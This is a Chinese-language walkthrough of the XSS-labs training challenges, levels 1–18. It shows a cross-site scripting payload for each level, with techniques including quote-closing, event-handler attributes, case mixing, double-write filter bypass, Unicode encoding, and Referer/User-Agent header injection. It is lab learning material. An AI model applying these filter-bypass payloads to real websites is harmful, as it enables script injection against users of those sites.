title: XSS-labs通关记
目录
level1
当前页面输入点为url中name参数,页面中会将参数值的内容和字符长度暂时出来。接下来就先在name参数值上做动作:
源码内容如图,我们可以尝试在“欢迎用户test”处插入<script>alert(1)</script>
进行测试:
测试通过:
level2
level2中可尝试利用输入点为keyword参数,有两处输出显示位置:
使用<script>alert(1)</script>
进行测试,发现<h2>
标签内的<>
被实体化编码了,但是<input>
标签内的并没有被实体化编码:
故接下来对input
标签下手,构造闭合payload:
"><script>alert(1)</script><"
形成完美的payload闭合:
level3
level3中可尝试利用的输入点同样为keyword参数,有两处输出显示位置。使用和level相同的方法(level2闭合使用的双引号、在level3中为单引号)进行测试,发现<input>
标签内的输出也对<>
进行了编码:
所以这里就不适合使用带有<>
的payload,构造如下payload:
' onmouseover=javascript:alert(1) '
与原语句形成闭合:
由于输入输入框输入之后,保留了输入的内容,onmouseover
属性也会被保留在input
标签中,onmouseover
的触发条件是当鼠标移动到input
标签上,测试如下:
#level4
level4和level3雷同,只是input
标签内用于闭合的的引号为"
而非level3中的'
,只需要将level3中payload里面的'
换成"
即可:" onmouseover=javascript:alert(1) "
level5
看似和level4雷同:
使用payload" onmouseover=javascript:alert(1) "
进行测试,发现<input>
标签内onmouseover
属性被下划线(_
)分割:
经测试:<script>
,onclick
等均会被分隔,使用大小写混合也没有办法绕过:
故这里需避免使用
"><a href="javascript:alert(/xss/)">link</a> <"
通过构造独立出来一个<a>
标签,通过点击可实现测试成功:
level6
源码如下:
level6看似相同于level,首先使用level5的payload对level6进行测试,但是href
被分隔开了:
变换href
大小写:"><a hRef="javascript:alert('test')">link</a><"
,绕过成功:
level7
使用level6的payload测试,发现href
和script
字样被替换为空了:
尝试双写绕过:
"><a hRhrefef="javascriscriptpt:alert('test')">link</a><"
测试成功:
level8
查看源码,有input
标签和a
标签两个位置可以显示输入的语句:
首先对第一处尝试测试,使用level5的payload尝试:
"><a href="javascript:alert(/xss/)">link</a> <"
payload内的符号均被实体化编码了,并且script
字样被下划线分隔开来,接下来对第二处构造payload:
javascript:alert(1)
并且对payload进行unicode编码,构成:
<center><BR><a href="javascript:alert(1)">友情链接</a></center>
测试成功:
level9
输入“11111111”内容,源码内显示链接不合法:
经多次测试发现,带有http://
字样的payload才被识别为正常输入:
推测后端对输入做了检查,只有带http://
才合法,因此我们的payload内需要包含http://
字样,构造如下payload:
javascript:alert('http://')
但是script关键字还是被分割:
使用Unicode编码对script
编码或其中一个字母编码(这里对c
进行编码)后测试:
javascript:alert('http://')
测试成功:
level10
观察可知keyword参数值会被实体化编码,咋一看除keyword参数外没有其他可利用的输入位置,但是查看源码发现有三个隐藏的输入框:
分别使用get方式向提交三个输入框的参数:
发现只有t_sort
参数有反应,那么就在这个参数上做工作,构造payload:
" onmouseover=javascript:alert(1) " type="text
测试成功:
level11
查看源码,发现有一个t_ref
参数值为跳转的前一跳URL,推测参数值来源于请求包中Referer值,故通过操作Referer值来测试:
更改原Referer值为payload:
" onmouseover=javascript:alert(1) " type="text
测试成功通过:
level12
level12雷同于level11,因为经过分析发现,请求包中User-Agent值可操作:
构造同level11的payload:
" onmouseover=javascript:alert(1) " type="text
level13
level14
这一关貌似环境出问题了,调用的链接失效了:
放后面再进行研究。
level15
这里引用了angular.min.js javascript框架。
然后在网上找到了这个框架的包含模块资料,也就是ng-include,类似于文件包含这么一个功能,并且有以下一些特点:
ng-include可以包含一个html文件(但不限于html文件), 但只是加载一个静态页面显示在前端,不会加载里面的js。
使用时要在文件名要用单引号包起来。
ng-include不仅能引进其他文件显示在当前界面,对其的参数提交操作也能显示。
ng-include限制了不能加载自带的js,需要载入后二次触发才可以触发。
构造如下payload:
'level1.php?name=<a href=javascript:alert(1)>click</a>'
测试成功:
level16
提交test<script>alert(1)</script>
值作为payload给keyword
,发现后台替换了script
为空格,并且给实体化编码了,但是尖括号依旧可以使用:
更换img
标签并且使用换行(%0a
)来替换空格,构造新的payload:
<img%0asrc=x%0aonerror=alert(1)>
测试成功:
level17
可以看到 <embed>
标签, 标签定义嵌入的内容,比如插件。这里嵌入了 swf 格式也就是 flash 专用格式。这里直接插入事件payload即可:
%0aonmouseover%3dalert(1)
测试成功:
level18
看源码与level17雷同:
level17payload可用:
onmouseover=alert(1)
level19/level20
两道flash XSS,暂且在能力范围外,改天回头研究。